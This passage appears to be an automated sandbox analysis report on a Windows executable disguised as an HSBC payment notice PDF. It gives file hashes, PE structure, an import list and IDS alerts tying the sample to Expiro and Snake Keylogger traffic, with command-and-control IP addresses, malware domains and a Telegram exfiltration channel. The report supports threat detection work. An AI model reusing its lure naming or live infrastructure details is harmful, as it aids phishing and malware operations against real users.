C:\Windows\Temp\DiagOutputDir\HolographicDevice.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10002116231540173
Encrypted:	false
SSDEEP:	6:Qcqf1K3l/k/uMclF6vMclFq5zzT1pDNOn+SkUeYDwDzymhf1zj:nqdKV/kqF69Fq5zzRHO+pawHymhdv
MD5:	A2208544A597AF26E95A01740F70332F
SHA1:	C7BC906E61579A0322258056299946D3A53F8591
SHA-256:	3CBB84FC6D5CBD0613F71454B7EC3917D710725F814D8E547C2B5652A2F84510
SHA-512:	FA3809EB0569F7E882A41EBEC558254A37636C3249A3C38CF682160B2821702D7B667918C0B072043BB33F848C071E4CC595B2C87A3CAADA3C4B0D0DF1547256
Malicious:	false
Preview:	....`...`.......................................`...!...........................t...p...Y.P.....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................W.................V.K..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...e.t.l...........P.P.t...p...Y.P.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDeviceHeT.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10148832067800173
Encrypted:	false
SSDEEP:	6:DB/l1K3l/k/uMclF6vMclFq5zzT1pq1NMu3n+SkUeYDwDzyMx/l1zb:DBHKV/kqF69Fq5zzRknX+pawHymHn
MD5:	BEC2E9233360D65D16BFEB713E205B61
SHA1:	4C8F63538C2F5CFA79224C845628EF2A545A1CE3
SHA-256:	245688BBA509069AB4B4D114C57DFD54B0E403C8F7A7A837C30747435B5F6FD0
SHA-512:	409E49C1595F55D0C6A162CDA3713C4BD607731CB1CE7721FFEE30CA8ADB6E5BAADE028935755143CEC573AC992683111655D1130CE202995DED64864274D864
Malicious:	false
Preview:	....h...h.......................................h...!...........................t...p.....Q.....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................W..............G..V.K..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...e.t.l.......P.P.t...p.....Q.............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicShell.etl

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09885495711347125
Encrypted:	false
SSDEEP:	6:ugK81K3Nk/uMclF6vMclFq5zzT1p6wNIn+SkUeYDwDzyJ81zr:ud0K9kqF69Fq5zzRVI+pawHyJ03
MD5:	31039D81EEE7ABD40E7D0815A1CB8CCF
SHA1:	C3C928989DF47C6408B32FF64D774D0855588D98
SHA-256:	FA5F9151EA53116C17E908D558E907A41EF4B7A25F6146FB67E36C1F94CA889F
SHA-512:	73DA46DB62282C02CA026C56577470801CD7BB83D0CDDB6EEB21E5A9F4B6B6BAA3A3A89D46F28ACD33F96724D78A2D13FF1E75D4A7E3C82F6A16006B0B5342C1
Malicious:	false
Preview:	....X...X.......................................X...!...........................t...p.....P.....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................W..............e*.V.K..........H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...e.t.l.......P.P.t...p.....P.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.412345114073512
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File size:	1'587'200 bytes
MD5:	4bd5ab8c1d6eb0d7b601863a74471cf3
SHA1:	660bd416b9570b16fa77e2e559989f8efb9fd8b4
SHA256:	0b3ad575168e0457905f19bb5304a8ea8cce461d7b1ebd0964d1171374271e47
SHA512:	783e5707028cc8acfc022cf4ee50b81689b330faf3cc6312f91d699be4574f389938b60e171849c93e64f86ce7842e13f5665ae9f6f2435e49e8c04a964380bf
SSDEEP:	49152:IW0c++OCvkGs9FaYwUPYyLNiXicJFFRGNzj3:jB3vkJ9TPj7wRGpj3
TLSH:	D775D02263DDC360CB769133BF69B7016EBF3C654630B85B2F981D7DA960162162C7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x67593553 [Wed Dec 11 06:46:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F3A50C40B4Ah
jmp 00007F3A50C33914h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F3A50C33A9Ah
cmp edi, eax
jc 00007F3A50C33DFEh
bt dword ptr [004C31FCh], 01h
jnc 00007F3A50C33A99h
rep movsb
jmp 00007F3A50C33DACh
cmp ecx, 00000080h
jc 00007F3A50C33C64h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F3A50C33AA0h
bt dword ptr [004BE324h], 01h
jc 00007F3A50C33F70h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F3A50C33C3Dh
test edi, 00000003h
jne 00007F3A50C33C4Eh
test esi, 00000003h
jne 00007F3A50C33C2Dh
bt edi, 02h
jnc 00007F3A50C33A9Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F3A50C33AA3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F3A50C33AF5h
bt esi, 03h
jnc 00007F3A50C33B48h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x2d074	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	8981ff34fb52b0989d43166b389e1422	False	0.5728679102422908	data	6.676128389733014	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x2d074	0x2d200	a5c06b4e48eba7577f3c41a22a33014c	False	0.8532667503462604	data	7.702124355387422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf5000	0x96000	0x95000	7f91542c3397ea3ef75e8dc7a4615685	False	0.9705425492869127	data	7.92048352815656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x24339	data			1.0003776613322004
RT_GROUP_ICON	0xf3af4	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xf3b6c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf3b80	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xf3b94	0x14	data	English	Great Britain	1.25
RT_VERSION	0xf3ba8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xf3c84	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T09:26:11.604324+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.5	49706	TCP
2024-12-11T09:26:11.604324+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.5	49706	TCP
2024-12-11T09:26:12.597628+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.5	49707	18.141.10.107	80	TCP
2024-12-11T09:26:13.665364+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.5	49708	TCP
2024-12-11T09:26:13.665364+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.5	49708	TCP
2024-12-11T09:26:14.947022+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49709	193.122.6.168	80	TCP
2024-12-11T09:26:15.356321+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.5	58130	1.1.1.1	53	UDP
2024-12-11T09:26:15.459262+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.5	49710	TCP
2024-12-11T09:26:15.459262+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.5	49710	TCP
2024-12-11T09:26:22.321994+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49709	193.122.6.168	80	TCP
2024-12-11T09:26:24.482915+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49716	149.154.167.220	443	TCP
2024-12-11T09:26:25.356895+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.5	63116	1.1.1.1	53	UDP
2024-12-11T09:27:14.774279+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.5	49792	82.112.184.197	80	TCP
2024-12-11T09:28:02.892689+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.5	49946	TCP
2024-12-11T09:28:02.892689+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.5	49946	TCP
2024-12-11T09:28:06.685072+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.5	49952	TCP
2024-12-11T09:28:06.685072+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.5	49952	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 09:26:07.283063889 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:07.404603004 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:07.408528090 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:07.415178061 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:07.415178061 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:07.536700010 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:07.536837101 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.286230087 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.408804893 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.408904076 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.414887905 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.414907932 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.535690069 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.535701990 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.756006002 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.756110907 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:08.756318092 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.756318092 CET	49704	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:08.877840996 CET	80	49704	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:09.269834042 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:09.390229940 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:09.390312910 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:09.390573978 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:09.390573978 CET	49706	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:09.511007071 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:09.511049986 CET	80	49706	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:09.952672005 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:09.952682972 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:09.952752113 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:09.952963114 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:10.017432928 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:10.017503023 CET	49705	80	192.168.2.5	54.244.188.177
Dec 11, 2024 09:26:10.073333979 CET	80	49705	54.244.188.177	192.168.2.5
Dec 11, 2024 09:26:10.382893085 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:10.503318071 CET	80	49707	18.141.10.107	192.168.2.5
Dec 11, 2024 09:26:10.507813931 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:10.574706078 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:10.574822903 CET	49707	80	192.168.2.5	18.141.10.107
Dec 11, 2024 09:26:10.695468903 CET	80	49707	18.141.10.107	192.168.2.5
